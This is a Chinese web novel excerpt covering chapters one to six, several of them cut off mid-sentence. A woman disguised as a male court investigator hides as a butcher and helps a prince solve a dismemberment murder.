《南都乃我掌中之物》 1. 第一章 《南都乃我掌中之物》全本免费阅读 通元五年,时值甲辰,逢甲子轮替,主万象更新。 通河自大昭境内蜿蜒而过,向东绵延数百里,到了禹城附近拐了个大弯,禹城就建在这弯造出来的滩上,四时景明。春分雨脚落声微,满城正飘着鲜花青泥的芳馨。 禹城不大,四条主街,俗话说“民以食为天”,最热闹的当属东街菜市口,五谷杂粮应有尽有,奇闻轶事口口相传。 猪肉铺前,便可见几个妇人趁买肉的空档聊起一桩京城南都里的风流韵事。 “陶家妹子,你可听说了没?正月里头南都宁康坊那家两口子的事儿。” 被唤作陶家妹子的妇人眼睛亮了起来:“我这没听说呢,南都可是我们大昭的京城,那儿的事不都要几个月才能传到我们这穷乡僻壤嘛。李大姐你快给讲讲。” 李大娘心下了然,自己是禹城头几个得知这韵事的,施施然开口道:“我听说是一家夫妻两个打架,闹到官府去了。” “两口子打架算什么新鲜事,这过日子谁家不动点手啊。” “你听我说完呀,这两口子打架事小,后面的事才叫精彩呢。那家妇人到官府告她男人打伤了她,结果被一个大人给瞧上了!这位大人可是南都大名鼎鼎的神探,查案厉害着呢,偏生就这么喜欢她,又是送衣服又是买糕点的,哎哟,还要将她家男人下狱让她跟了他。” “这可真是个狐媚子!” “但幸好这妇人还算是个识好歹的,什么都不要,转头又把这位大人给告了,告他强抢民女图谋不轨!” 陶大娘又惊又怕,倒吸了口凉气:“然后呢?” “然后呀,这件事传到了皇上耳朵里,陛下大怒,将那大人处死了。” “哎哟,官场上都讲究,这女人是最晦气的,男人的事是不能让女人碰的。这大人惹了女人,活该丢了性命。” 一旁买菜的姑娘看着年轻一些,探过头来问道:“有那么严重么,做官的没那么容易死罢?” “哎呀,姑娘,你年轻些...” 未曾想这时一提捆绑结实的猪肉递到陶大娘眼前,打断了此番谈话。 “陶大娘,你的肉好了。”那递肉过来的屠户冷冰冰道。 陶大娘小心接过猪肉道了声谢,打量着这位新来的屠户。 身量纤长,白白净净的少年模样,和那些五大三粗的屠户颇不一样。 一双柳叶眼清淡凉薄,时常抿着嘴,偶尔笑一笑也是拒人于千里之外,穿着一身朴素粗布衣衫,倒竟藏不住有几分归隐田园的仙人之姿,切猪肉的姿势都跟吟诗作画般不落俗尘。 就是来了小半个月都不爱搭理人,清高得很。 胡碟自是不知陶大娘如何编排自己,一双仙筋鹤骨的手将肉切得血沫纷飞。 但陶大娘故事里的大人她却是知道的。 正是半月前从南都卷铺盖走人的云逸杰云大人,也是现下改名换姓在禹城奉旨杀猪的胡碟。 自三年前她在科考中一举夺魁,便在大理寺任职理案郎。 这九品芝麻官往大了说是查案的,往小了说便是给大理寺的大人们打杂的,不过她因着屡破奇案,在百姓中也算小有名气。 大昭开国是由林、莫、谢、赵四姓起义,夺权后谢家做了皇帝,赵家封了异姓王制霸朝堂,莫家退隐江湖,而林家则是娘子军,被皇帝大手一挥隐去了名字,如今知晓之人已寥寥。 正因皇室忌惮林家的娘子军,大昭有了“严禁女子做官”的明令,甚至编造传说故事,只要女子参政便会红鸾星现世,灾祸不断,女子的地位也越跌越低,只能终日陷于庭院之中。 她自小看着内宅的妇人们在昏幽的漩涡中挣扎,发誓绝不过那样的生活。 可是思来想去,也只有一颗稚嫩少年心,索性扮作男装参加科举,想做个清风两袖、除冤惩恶的好官,虽不能以女儿身示人,实质上也算是个女官罢。 是故她虽官卑职小,却仍然尽可能地为女子们理冤摘伏。 大昭虽无任何为女子做主的律法,但她仍然坚持为她们讨个说法。 宁康坊妇人的案子倒不假,那妇人状告她的说辞自然是污蔑,毕竟云逸杰也好胡碟也罢,是个女儿身,哪里生得出那些龌龊心思。 显而易见她并没被皇帝赐死,而是得了一纸诏令,奉旨杀猪来了。 不过这奉旨杀猪倒算不上什么惩罚,只因这一纸诏令是她借着被污蔑的由头,亲自上皇帝面前撒泼打滚求来的。 那时她大祸临头,被妇人诬陷只是一个契机,让她能借口离开南都,到禹城查一宗只能秘密查探的诡案。 这桩诡案,才是决定她生死的关键。 化名到禹城的半月里,她一刻不松懈地查这桩案子,一边按照皇帝的旨意做着杀猪的活计。 这家肉铺里还有两个同她一样的屠户,其中一个这会子对她道:“胡老弟,今日肉卖得真快啊,你再去里间切一些来吧。” 胡碟应声放下手头油光锃亮的刀,掀开帘子转入里间,里头铺着红布的桌案足有三尺长,可以完完整整放下一头几百斤的大肥猪。 她凝神聚气,那双骨骼分明,紧实纤长的手稳当当提起了菜刀。 “呲啦” 光影震颤,尘埃起,刀尖行云流水破开红白相间的纹理,挑起白花花、颤巍巍的肉。 “咔擦” 弯转、颠倒、逆折,一气呵成,大骨自关节处轻松卸下,那双手将大骨托住,“邦、邦”斩成三段,码在案前一块红布之上。 酣畅淋漓切完肉,却不料再回到前头铺面时,已是变了天。 熙攘热闹的菜市场何曾这般安静过,一股寂静的重压,震得柳上黄鹂都不敢吱声。 胡碟掀开帘子便见这样场面,心中一根弦急急绷紧,不自觉顿住了脚步。 四周静得像戏曲开场前的静候,只等她出场,便要镣铐加身,上演一出瓮中捉鳖的好戏。 难道赵家的人这就追来了? 去年查案时,她无意间得知了些与晋王赵雍有关的线索,惹得赵家爪牙步步紧逼,朝堂上使绊子、朝堂下派人查她底细,连女儿身都差点泄露。 < 2. 第二章 《南都乃我掌中之物》全本免费阅读 禹城县衙,玄鉴堂。 青石块砌的高堂肃穆森严,胡碟等三人在众目睽睽之下被押到县衙受审,一番折腾已近晌午,风卷起诡云收了天光,幽暗的玄鉴堂更加阴冷。 胡碟被押跪在堂下,看着面前粗粝的青灰石板若有所思。 幽王戍边多年,她从未见过,却略有耳闻。 听说这位五皇子殿下自小习武,武艺精湛,犯了大事被撵去边关,因是戴罪之身,这么些年从未离开过边疆。 被这样一位莽夫抓住,真真是秀才遇到兵。 若是往日在南都,胡碟必定当场就能抓住缺口,质问他无召离开边疆,是想造反么? 可如今她只是个什么都不懂的屠户,若是贸然开口,逃不过幽王魔爪不说,还可能暴露引火烧身。 “升堂。” 谢明乾广袖一挥,威然坐于县衙的朱红霸王桌,剑眉星目耀眼张扬,沉着脸便要审问。 “且慢——” 适才进门后谢明乾便让他的独眼侍卫屏退众人,这会儿一个青衫长髯戴乌纱的男子急急忙忙自院中跑进玄鉴堂,高喊幽王手下留人。 谢明乾挑眉:“徐知县,本王只是要审问,不是要杀人。” 青衫男子气还没喘匀,上前行礼笑道:“是、是。下官参见幽王殿下。” 谢明乾似乎并不把他放在眼里:“你来作甚?” “殿下您说笑了,”徐友来的笑容险些垮掉,“下官身为知县,治下有案子发生,自然是要来审理的。” “这里本王会审,”谢明乾点头,仍浑不在意道,“本王保管抓住凶手,没你的事了。” 徐友来讷讷地吸了口凉气,幽王夤夜来城,他睡醒才知他已带了县衙的人去查案。想来这幽王身为皇子,做事莽撞目无法纪,他却不能落个失职的话柄。 他悄然打量了胡碟等人一眼,换了个思路道:“如此自是甚好,多谢殿下/体恤。只是禹城素日里没什么案子,所以下官也想给您打打下手,顺便见识见识您审理案件的神威。” 谢明乾似很满意他这番说辞,笑意十足道:“行,那你仔细听了。” “今晨寅时有百姓报官,说在西门外通河边的大榕树下,发现几个红布包,掀开一看,里头装的竟是尸块。” 谢明乾将案情沉沉叙来,徐友来本不明所以,这下知道这案子如此重大,面上一惊。 “传物证。” 三个带刀侍卫将摆放着几个布包的木板抬上来,布匹已被血渍浸湿,干涸后呈发黑的暗红色,因附着了太多血,上头黏浊的黑血滴答缓慢地往下滚动,如流淌的烛泪,在木板上凝起黏稠刺眼的血路。 饶是见惯了杀猪时血腥的屠户三人,想到里头是人的尸体,也忍不住犯恶心,支撑不住向后倒坐下去。 胡碟更是心惊肉跳,却不是因为那场面过于瘆人,而是因为那包尸块的红布。 通河边,红布包,今晨之前。 她面上维持着镇定,跪坐在小腿上给身体寻一个支撑,脑中棋局飞快排布,低头沉思着眼下发生的一切。 不过风吹榆叶落青泥的须臾之间,她已寻到了突破之处。 见了证物,那谢明乾目光如炬,质问堂下三人:“寻常歹人杀人越货也就罢了,怎会想到分尸?杀人者必定是壮汉,而且常熟于刀工,不仅能杀人不眨眼,面对血淋淋的尸块也毫不畏惧,如此心态,只有尔等屠夫能做到!” 胡碟迎上他问询的眼神,无丝毫惧怕与退却,一脸平静地待他把话说完。 “本王当然知道这些只是猜测,”谢明乾信心十足,站起身来缓缓走至堂下,“但本王今晨还寻到了人证,说亲眼看见你们,” “不,”他在胡碟跟前蹲下,一双琥珀色的眼睛凌厉似虎,“是亲眼看见那个瘦瘦高高、冷峻如霜的屠户,昨夜提着红布包往西门外去了。” 他拍掌道:“传人证。” 先前进来的三个带刀侍卫之二领命带来了人证,胡碟一看,那人证竟是今晨在猪肉铺买过肉的李大娘。 更诧异的是,细看之下才发现那两名侍卫一人碧色衣,一人全身黑,打扮干练简单,梳着一模一样的垂鬟分肖髻,发间耳畔无任何繁饰,腰间配着刀剑,活脱脱是二八女子模样。 幽王竟敢用女子做手下。 李大娘见了胡碟,跟见了鬼似的,哆哆嗦嗦站不稳,那碧衣女子将她扶住,她才堪堪说出话来:“错不了......今晨我去买肉还见到胡屠户了,和昨夜那个偷摸摸提着布包往西门走的人一样!” 此话一出,张屠户和白屠户皆是神色惊变,仿佛被拆穿了秘密,两张脸血色全无,越来越白。 胡碟阖上了眼睫,轻盈如纱的睫毛细微颤动着,似在隐忍着情绪。 谢明乾见她不说话,心中又喜又怒,喜自己抓对了凶手,怒这凶手杀了自己苦寻多年的人。 “人证物证俱在,你还有什么好狡辩的!” 徐友来见幽王怒火攻心急着给胡碟定罪,暗叫不好,佯装附和指着她道:“堂下罪犯,还不认罪,你还有什么疑问未明?” 胡碟接住徐友来递过来的话:“知县大人,小民确有几个问题。” “但问无妨,量你也无从狡辩。”徐友来生怕谢明乾阻止,急忙答应。 “我想问李大娘。” 谢明乾不屑冷哼一声,走到李大娘身边,放缓语气对她道:“李大娘,你只管知道什么说什么,有我在,不用怕这杀人凶手。” 李大娘见幽王诚恳,定定地点头。 胡碟不慌不忙,不疾不徐道:“李大娘,我问你,你说亲眼目睹,那么昨夜我提的布包有多大?” 李大娘慢慢回忆道:“一个长约一尺的红布包,不仅如此,那红布还十分破旧,线头多得快成流苏了。怎么样,我没看错吧?” 胡碟淡淡点头:“不错……李大娘眼力极好,这些细节都清清楚楚。” 而后目色坦然如无波清泉,看向谢明乾,清冷的声音一字一句道:“李大娘说得不错,我昨日确实去了西门外扔了个红布包。” 张白二人闻言激动得弓直了背,面色涨红:“胡老弟……不可呀……” 胡碟无力地软下身子,喃喃失神道:“但一个……就一个……” 玄鉴堂内影影绰绰的光影如一只鬼手遮住了她的脸,黑暗中她的脸上并无看似那般颓废,反倒有一股平静的坚韧。 如今她需得藏拙,辩驳得太直白必然惹人怀疑,只能徐徐图之。 但愿这幽王没有蠢到听不懂暗示的地步。 “可是那树下的布包根本不止一个,就算有我的红布,也不能给我定罪!”胡碟道。 电光火石之间,谢明乾突觉得后背发凉,脑中有个念头一闪而过,却抓不住踪影。 他有些凌乱,索性快刀斩乱麻不去想这些绕来绕去的证据,提剑指着三人:“这么说来,还是和你脱不了关系,甚至——” 他转向浑身打颤的张白二人,“你们也都可能是帮凶!你们兵分几路去扔尸块,只姓胡的一人被看见而已。” “殿下不可!”徐友来上前拉开谢明乾,“殿下还未定罪便将人五花大绑已是不妥,如今更万万不可动手啊!” 谢明乾撇开徐友来,快步走到布包前,挽了个剑花,用剑挑开一个红布,想证明三人的嫌疑:“我早说过,普通人杀了人,将尸体大卸八块也就罢了,怎么还会切成这么小的块,唯有你们这些屠夫熟稔此道,禹城只有一家肉铺,你们三人嫌疑颇深,这点你们又如何抵赖?” 言罢,他用剑挑起约莫三寸方长,黏着红中透黄的一方肉皮,皮上的毛又粗又长,还有几分卷翘,原来是一块有胡子的下巴。 徐友来面如土色,背过身去 3. 第三章 《南都乃我掌中之物》全本免费阅读 谢明乾在堂下来来回回地踱步,不知在盘算什么,顾左右而言他:“胡屠户,你看起来不像个屠户。” 他看向地上仍被绑着的胡碟,虚虚实实的光影之间难掩面容清俊,眼神清冷明澈,被他拿剑指着也无惧色,三言两语便为自己辩护。 其心智之精明可见一斑,谢明乾自诩善于察人,认定她不是个简单的屠户。 “是么,”胡碟风轻云淡道,“许是生错了样貌。” “哦?”谢明乾双手环抱胸前,歪着头笑得顽劣,“那就待我去查一查你。” 胡碟暗自翻了个白眼,对这些动不动就要查人底细做威胁的做法无话可说。 谁叫她别的地方都坦荡,唯独身无长物女儿身最怕人查。 “哎哟,胡屠户就是半个月前来禹城讨生活的,十岁就开始杀猪了,手艺好着呢,怎么会不像屠户呢?”徐友来道。 这案子耽搁了大半日,眼见着天色向晚,胡碟不想再纠缠,直问道:“既然我与碎尸案无关,殿下不肯放我走,究竟是何缘故?” “眼下只知凶手不一定是你,你却并未完全洗清嫌疑,叫我如何安心放你走?”谢明乾吊儿郎当地仰头,“那就等案子完全水落石出,你再回去吧。” 胡碟听他这意思,自己若是继续藏拙,就真的要和碎尸案绑在一起,耗上许多时日了。 若当即理清案件头绪洗清嫌疑,则暴露的危险多一分;若继续装傻,则靠近赵家诡案真相的机会少一分。 谢明乾耐心等着胡碟的回应,见她单薄的胸膛剧烈起伏,却仍面若冷霜巍然不动,暗叹此人自持之力。 胡碟声音清亮,缓如流水:“好,我来为自己辩驳几句。” 她正欲往下说,谢明乾抬手道声“且慢”,绕到她背后将她拉起来,在她双眸震颤之时握住她的手腕。 她感到威胁正欲喝问,却觉手上一松,周身的粗绳也散开了。 谢明乾手指轻轻搭上她的肩,替她取下绳子,胡碟一个侧身,警觉地躲开。 “抱歉,”谢明乾愣愣地抓着绳子,“我只是觉得将你绑起多有冒犯,想有些诚意为你松绑。” 胡碟并未回话,三下五除二扯下了身上的粗绳,冷冷道:“先说红布。我昨日将布包连同包裹的肉一起放到了狗洞,想来是被人捡去,如此一来,杀人分尸之地应当离狗洞不远。除我那块红布之外的红布,也可寻一寻踪迹,看看能否有些线索。” 她引众人到红布包前,谛视片刻,道:“看,这其余的几个布包,都是上好的海棠红提花绸。” “我不知幽王殿下缘何要关注禹城的一桩碎尸案,毕竟此案再骇人也不归将军管,想必是在寻人。” “是在寻人。”谢明乾从红布包中抬起头来,“是个极为重要的人证,这才着急了些。” “殿下恐怕认为被碎尸之人是自己寻找之人,但不管是因何如此断定,尸体被碎成那样,是很难轻易判断身份的。既是有人死了却不知身份,便需排查全城,本地住户、外来之人,有无失踪不见踪影的,消失了几日?有何特征?是否知其原因?同时还要请仵作验尸外加走访案发之地,看尸体具体是哪日出现的,尸体上有用的线索有哪些。两方信息对比,才可排查死者身份。” 谢明乾边听边点头:“我们是凭案发地的一枚木质小狸猫坠子,判定的……那尸体是我们所寻之人……”他声音越来越弱,说到最后已是失了自信,“确实武断了。” “没错没错,”徐友来拍手叫好,“我虽没办过什么大案,但南都神探集里是这么说的。” 胡碟暗暗睨了他一眼,他戚戚然住了嘴,道:“本官也是这么打算的,这就安排手底下的人去查。” “既如此,殿下所寻之人生死未可知,甚至很有可能还活着,仍可派人去寻。”胡蝶道。 “好,我们也和县衙的人一起行动,多方探寻。”谢明乾道,“只是不知胡兄如何判断此人可能还活着?” “简单,”胡碟淡淡扫他一眼,“不一定死了,就是大可能活着。” “……哦。” “一个掉在案发现场的物件,不一定就是死者的,探案切忌鼠目寸光,”她不忘暗讽谢明乾,挑眉道,“有三种可能。这坠子是死者的、凶手的、他人的,这他人当中还包括路过的路人、发现案发地的人、更或者飞禽走兽,也有可能都不是。总之探案之间变化莫测,有太多想不到的可能,万不可凭直觉臆断。” 胡碟平素没什么情绪,端着一副平淡冷静的样子,只在查案时神采奕奕,胜过澄澄霞光。谢明乾将这一切看在眼里。 “是、是,南都神探集里就讲过一个案子,尸身上的的谷子便是麻雀衔来的,害得与死者有仇的谷农险些被冤枉。”徐友来道,“所以万事皆有可能。” 谢明乾若有所思地点头:“这么说来胡兄当真是厉害,恐怕能和南都神探集里的神探相媲美了吧。”说着意味深长看向胡碟。 胡碟扯出个疏离敷衍的笑容:“平素喜欢听故事罢了,算不上厉害。” “是啊,我与胡屠户也是志趣相投,平素爱听故事,但其实跟那些真正的神探是不能相比的,是吧。”徐友来捻着胡子,笑道。 “哦?原来大家都爱看些探案故事啊。”谢明乾想起些什么,一脸神秘道:“不知二位是否听过五年前净巍宗灭门的故事?” “灭门?”徐友来惊诧,“净巍宗之名有些耳熟,可是灭门如此重案,下官竟也从未听闻一二?” 谢明乾暗暗观察着胡碟的神色,一边讲着那个所谓的故事:“净巍宗是个名不见经传的江湖门派,不过几十年历史,二位未曾听闻实属正常。” “净巍宗以净巍剑法闻名江湖,却从不插手江湖事,门内唯一的任务便是护国安邦,因大昭十年九涝,故而每年都要救济灾民,参与救灾。” “这么说来,”徐友来道,“净巍宗倒还是个忠义的门派。” “是啊。”谢明乾露出一种向往又怀念的笑容,叫人看不真切。 “就是这么个忠义的门派,竟在五年前因杀害朝廷钦差而被满门抄斩。” “啊?”徐友来忽然觉得这个故事有些蹊跷,却又难以名状,一时只能叹气。 “别说了。”胡碟打断道。 她一声不吭地听到这里,也算回过味来了,“如此重大的案子,却从未听人提起,想必是被官府所禁谈的密辛,这样的事,听了可是要杀头的,不听也罢。” 徐友来闻听此言慌了神,胡乱摆手道:“对,幽王殿下还是不讲的好。” 谢明乾背着手向前走了几步,玄鉴堂忽明忽暗的光在他身上流转,他忽而仰天放声大笑起来,胡碟却只觉得那笑声透着诡异。 许是笑够了,谢明乾转身将二人拉过来,拍着她们肩膀,恶劣地笑道:“皇上是说过,谁敢提起净巍宗便要杀头。可惜怎么办呢,你们不仅听了,还是从我这个不许离开边疆的净巍宗余孽嘴里听到的,不知道你们的头够不够杀的?” 徐友来只觉头晕目眩,看着玄鉴堂上仿佛鬼影森森,脚一软当即跪下:“殿下慎言呐……” 胡碟拧眉,骤然想起谢明乾是犯了重罪被皇帝保下才去戍边的,难道所犯之罪便是师门杀害朝廷钦差,到禹城所寻之 4. 第四章 《南都乃我掌中之物》全本免费阅读 破旧小屋窄窄长长一方天地,西面一扇窗,窗对面的墙上悬一幅画像。窗前一张发亮的枣红方桌,一把疏背扶手椅。紧挨着桌椅,倚着一张勉强能容下个七尺少年的床榻,再无别的物件。 胡碟推门而入,周身带着些寒气,透红的指尖捏着一张黄色的竹纸。舞动的烛火亮起,照亮这张冷淡又平静的面皮。 许是清明将近,外间斜风细雨,她从县衙返回住处,半道上顺便带回了云江从南都寄来的信。 竹纸展开,信头印一祥云图样,信中寥寥几字走笔龙蛇。 “阿杰。” “身后有人。” 烛光闪烁间,那双黝黑的眸子锐利似狼,透着似笑非笑的冷寒。 果然不出她所料,赵家没那么容易善罢甘休。 这是云江自南都来的信。 她将信放在曳曳烛火上点燃,见火焰嚣张狂妄,信手将桌上的冷茶泼过去,那火立刻息了声。 且任来人扑腾些时日罢。 早些时候在县衙玄鉴堂,胡碟收回那条迈出去的脚,却并未决定帮谢明乾查案,只是略叮嘱他一二,叫他先去仔细找找线索再说找人的事。 赵家的案子关系重大,她实在不敢保证自己能分出心思。 思虑间她迈步至方桌另一角,见到砚台之下压了一张竹纸,当即将其拿起,上头却未书一言。 她在禹城有些人手,来这里的半月里便是和其一起查赵家的案子。若彼此有什么消息要传,那人会将信纸放到她住所的方桌上。 信纸上什么都没写,便意味着对方对赵家的查探无任何新进展。 胡碟坐在那把孤零零的疏背扶手椅上,将空无一物的竹纸叠起,忍不住轻叹一声。 怎么会一点线索也无。 她轻轻拧着清疏的眉,定定望着桌上闪烁的烛火。 但她毫不灰心,只因多年探案经验告诉她,一件事越是平静,就越是诡谲。越是没有破绽,就越是错漏百出。 只等一个时机,一定有个石破天惊的大秘密。 窗棂随着风猛烈晃动起来,噔楞作响,胡碟起身将朽旧的窗户关严实些,忽的灵光一闪。 如今暗中行动只能畏首畏尾,若是她加入幽王一行,以幽王找人为掩护,查起案来不就光明正大多了么? 索性她未将窗户合上,反而打得更开些,风声雨声霎时间涌入,细细的雨丝像棉絮一般轻飘飘往她身上钻。 她逗猫似的“啧”了几声,柔声道:“出来吧,天凉。” 窗外窸窸窣窣响了几声,一会儿又没了声响,胡碟正欲关窗,一只带着些稚嫩的手抵住窗框,力道十足。 那抹碧色同玄鉴堂上见到的女侍卫极为相似,虚影一闪,她面前霎时间多了个神色赧然的女子,衣服上被雨滴绘了些丝丝粒粒的痕迹,头发上挂满细小的雨珠,咬着嘴唇有些狼狈,犹犹豫豫地开口:“你怎么知道我在的?” 胡碟见想见的人来了,利索合上窗户,找了条干净的帕子递过去,浑不在意道:“我找猫呢,竟不知这位姑娘也在。也好,外头下着雨,你进来歇一歇吧。” 屋子里没别的椅子了,胡碟掀开床铺铺了些布巾,叫她坐床沿下,她也不客气应声坐下,道了声谢,用帕子擦着身上的水。 这碧衣姑娘偷偷打量着胡碟的小屋,扭过头来道:“你这人果真奇怪。”一会儿又补充道,“连点客气寒暄的话也不说。” “姑娘想要我怎么客气?”胡碟递过来一杯热气腾腾的水,“喝了吧,仔细着凉。” “就比如说,”这姑娘眨着圆溜溜的眼睛,“寒舍简陋,招待不周,还望见谅……之类的?” 胡碟看她单纯的样子,抿嘴浅笑了一下,想起远在南都的云江,心上变得柔软起来,周身疏离散去。 “我叫胡碟,”她道,“姑娘怎么称呼呢?” “我知道你的名字。我叫春二,我是我们家老二。” “姑娘是幽王殿下的……?”胡碟低头抿了口,状似不经意地问道。 她歪着头想了一下,“嗯……侍卫。” 胡碟轻柔地笑道:“嗯,侍卫。” “你和另外一位姑娘……平素就是这么明晃晃地跟在幽王身边做侍卫?”她心道幽王还真不愧是皇天贵胄,用姑娘做侍卫也毫无人敢置喙。 而她从前在南都时,身边却一个侍女也没有,全因为她怕自己生死难测,不想连累了人家。 “这叫什么话,”春二不解,“大昭有规定不许女子习武的吗?” 胡碟愣了一下,道:“那倒确实是没有这样的规定。” “那不就是了。”春二拍拍衣摆站起来,“既无规定不准,那便是可以。” “是,是我短见少识了,姑娘莫怪。” 就似胡碟一般,本朝没有规定女人科考要杀头,但人人都这样认为。 没规定女人如何就会死,但人人都动不动就要女人死,没规定女人怎样才叫活,女人们却都不知怎样才能活。 她无奈摇头,想来她也被这庸人自扰之给困住了。 “不怪不怪,我也只是随口一问。”春二将帕子交还给胡碟,认真的眸子闪闪如灿星。 “我也有个妹妹,也是习武之人,你们若见了必定投缘。” 春二闻言凌空比划了一记手刀,笑道:“那我可得和她好好切磋切磋!” “幽王派你来跟着我的?” 胡碟话锋一转,冷不丁发问,春二正眉开眼笑地比划招式,差点咬了舌头。 “我……我、我……没有的事。”春二急了,连连退让。 “行了。”胡碟看她好笑,“我就猜到幽王会叫人跟着我,故意诓你进门的。” 春二像个泄气的鹌鹑,瘪嘴道:“你诓将军也就算了,怎么还诓我呢。” “我也不是故意逗你玩,叫你出来是想让你回去跟你们幽王殿下说一声,”胡碟颔首,“他的请求,我应下了。” - 云销雨霁,朦胧月色轻轻洒落,静谧流淌。 禹城西门外通河边,几个夜行人提着灯笼,拨开荒草杂石,仔细搜索着什么。 “春雨,有什么线索么?”谢明乾弯着腰,敛容息气,雪白的袍摆沾染了泥污草渍也浑然不觉。 “还没呢,甫泽你别催行么,做这事儿得细致、得耐心。”身后的黑衣男子是玄鉴堂上几个带刀侍卫之一,以同样的姿势缓缓行进着。 “我从小就是这猴急的性格,被师父责罚多少回了,你是知道的。”谢明乾道,“只是这事儿拖不得,当年师父的案子不就是这么拖没的。” “我明白,可是咱们这么没日没夜地,大晚上也看不清,能找到什么线索。” “要是等到明天再找,不知又得错失多少时机,咱们可不能再拖了。” 走到大榕树下,两人总算能直起身子,腰酸背痛靠在树上。 月光皎洁浮动,谢明乾高挺的鼻梁上蒙起一层薄汗。 他舔了舔干燥的嘴唇,转头道:“也不知道破山和阿九那边怎么样了。” 春雨双手叉腰,没好气地道:“ 5. 第五章 《南都乃我掌中之物》全本免费阅读 “鬼死为聻,聻死为希,希死为夷,夷死为微,微死无形。”胡碟转过头来,眼眸微凉,“人死了,一死再死,便什么都不剩了。” 老旧的窗户蛀得快空了,撑开时松松地抖落些木屑和灰尘下来。 谢明乾抱着剑站在窗前,看梨花花瓣翩跹随风飘过胡碟淡然的脸颊,没明白她这话什么意思。 几人得了线索,马不停蹄来相告,晨光熹微之前,拦住了正准备去杀猪的胡碟,哪知她听完开口第一句话竟这般怪哉。 清风拂过,窗棂吱吱作响,上头的风铃随风摆动起来,青竹碰撞,滴答滴答。 “人若活着就能被称为鬼,无外乎那么几种人。”胡碟伸出三根手指,声音似翠竹风铃般清脆,“你们夤夜找到的这三个符合死者特征的失踪者,正对应其中三种。” “流连青楼,行为不轨,是为色鬼。” “夜夜醉酒,白日见鬼,是为酒鬼。” “大赌小赌,连篇话鬼,是为赌鬼。” 谢明乾凝望那双似笑非笑的眼,只觉得他失神的片刻才叫见鬼。 “色鬼、酒鬼、赌鬼,又当如何呢?”他问。 “蠢。”胡碟“啪”地合上窗户,急得谢明乾团团转。 “去查青楼、酒舍和赌场。” “……哦。”谢明乾朝身后招手,“快、快,都听见没,去查去查。” “听见了,”春雨打着哈欠,“我们一刻不歇马上去查。” 谢明乾揉了揉鼻子,鼻尖还萦绕着胡碟开窗时飘出的香气。 这香似檀香又似沉香,又好像都沾不上边。似草木掺着浆果烧成的灰,闻起来有些哑人,略带些雨后的清甜。虽不知是什么方子,但焚烧后的清冽却十分明显。 他幽然盯着那扇窗户,越发觉得眼前之人不简单起来。 - 谢明乾一行人忙得脚不沾地,恨不得将禹城翻个底朝天。 晚间,谢明乾率众人到玄鉴堂歇脚。 徐友来虽初时觉得谢明乾莽撞些,可后来也发觉他性子赤诚,尤其是亲力亲为带着一干人办案,这还真不是一般达官贵人能办到的。 “依我看,是那赌鬼的可能最大。”今日天晴,白日里日头盛,水也没得喝几口,春雨逮到个茶壶,猛灌了一壶水,才咂咂嘴继续讲。 “这赌鬼原是个做木材生意的,前几年发了点小财便买了处庄子,娶了几房妻妾过安生日子。后来不知怎的沾上了赌,输得裤子都不剩了还不放手,欠了一屁股的债,天天被追着打。 “赌场的人天天见他脏兮兮地躺在地上,正好碎尸案被发现的前一日又被人打了一顿,脑袋上流了血,之后便没人见到他的踪影了。 “打他的人觉得当时流了血怕出了人命,打死他事小,要是惹上官府的麻烦可就遭了,心惊胆战来报官,我们才知道失踪了这么个人的。” 徐友来捻着胡子,深表同意:“这赌鬼仇家众多,也许那天晚上又被哪个仇家教训了一顿,再或者,也许就是这报官的人贼喊抓贼,杀了人还来主动报官为自己开脱也说不准。” 谢明乾拿起宝剑“嗖”地一下跳起来,如离弦之箭,“我去拿那人来!” 一人白衣胜雪翩然而至,在谢明乾奔离之际将他拉住。 见他停下,她纤长的指轻轻松开了他的衣袖,道:“幽王殿下仔细人没抓到,先把自己给累死了。” 谢明乾直直站在门槛处,道:“这是何意?” 胡碟径直朝里走去,淡淡道:“今日你们四处走访,线索定然不止这一条,你尚未听明,怎就妄下定论?再者,你的目的是获得所寻之人下落,不把案件全梳理清楚,那人下落又怎会浮出水面。” “若是抓到凶手,问他到底见没见过我寻找之人,这不就行了么?” “行不通。” 胡碟坐下捧起一盏茶,问徐友来,“知县大人,敢问仵作可将尸块检验好了?” “我们县衙里的仵作年纪大了,平素禹城又没什么案子发生,所以一直没招新人,昨日我已连夜修书请隔壁莲县借一个仵作过来,刚到不久,待他歇一会儿我便差人带他去验尸。” 胡碟点点头,对其余人道:“所得线索,烦请一一叙来。” “今日一番查探下来,我认为死者是那个色鬼的可能极大。”破山双手抱胸倚墙站着,仅有的一只眼睛锐利不减。 “这个色鬼是个秀才,在禹城办了个学堂,初时也还算过得去,也有些人户愿意送孩子给他教习。只是后来渐渐有人发现他常常流连烟花巷柳,且闹出好些难听的事儿来,也就没人愿意相信他的为人了。” “他的邻居说他穷得吃不起饭,每日必到他摊子上买一块儿豆腐,但自从碎尸案前一日起,便再没见他。我还到他常去的醉红轩查了查,那儿有个叫阿樱的姑娘说,色鬼是她的常客,前些日子去醉红轩喝酒,偷了她一块留着做衣服的海棠红提花绸。” 徐友来惊讶道:“海棠红提花绸?不、不就是包尸块的余下几块布料……” 破山道:“正是。” 徐友来瞪大了眼睛,不可置信道:“这、这,色鬼不就从死者变成了嫌犯?” 闻所未闻,一桩奇案! 徐友来想,说不定自己将来也能跟着这件案子被记载进南都神探集呢! “是啊,”胡碟听着这诡异的话,埋头胡乱走了几步,“歪打正着,还在找死者呢,嫌犯便出来了。” 沉思的迷雾漫布玄鉴堂,笼罩着愁容满面不得其解的每个人。 “如此说来,只有那个醉鬼,听起来不太像死者。”春二挽着阿九站在霸王桌一旁,苦着脸有些挫败,“我们查了半天,越查越觉得,许是找错人了。” “那个醉鬼的妻子姓许,让我们叫她许姐姐。说他是个渔夫,挣不了几个钱,她平日里还要做些针线活补贴家用,那男的老喜欢喝酒,喝得醉醺醺的,还要打人,我们瞧见许姐姐身上有许多伤痕呢。” “许姐姐说他也是碎尸案前一日不见了踪影的,家里的婆婆怕他喝醉了去打渔掉进河里,才让许姐姐来报官。他除了失踪的日子对得上,有胡子这点对得上,其他的就没什么和死者很符合的了。” 谢明乾抱着剑沉思,眉头一皱再皱,道:“这三人……实在诡异,只是现在线索零碎,拼不起什么头绪。” 胡碟道:“亏得幽王殿下方才没追出去,否则不知道要来来回回跑多少次。” 谢明乾瞧了她一眼,识趣地闭上了嘴。 “殿下之前寻的 6. 第六章 《南都乃我掌中之物》全本免费阅读 今夜月明星稀,月光如白玉莹莹入户。 返回住处盥洗之后,胡碟照例来到东面画像前跪拜。 离开南都时匆匆,简装随行,她也仍不忘记带上一幅母师在神前加持过的画像,毕竟自小在庙里长大,每日对祖师上香问安已成为惯常的事。 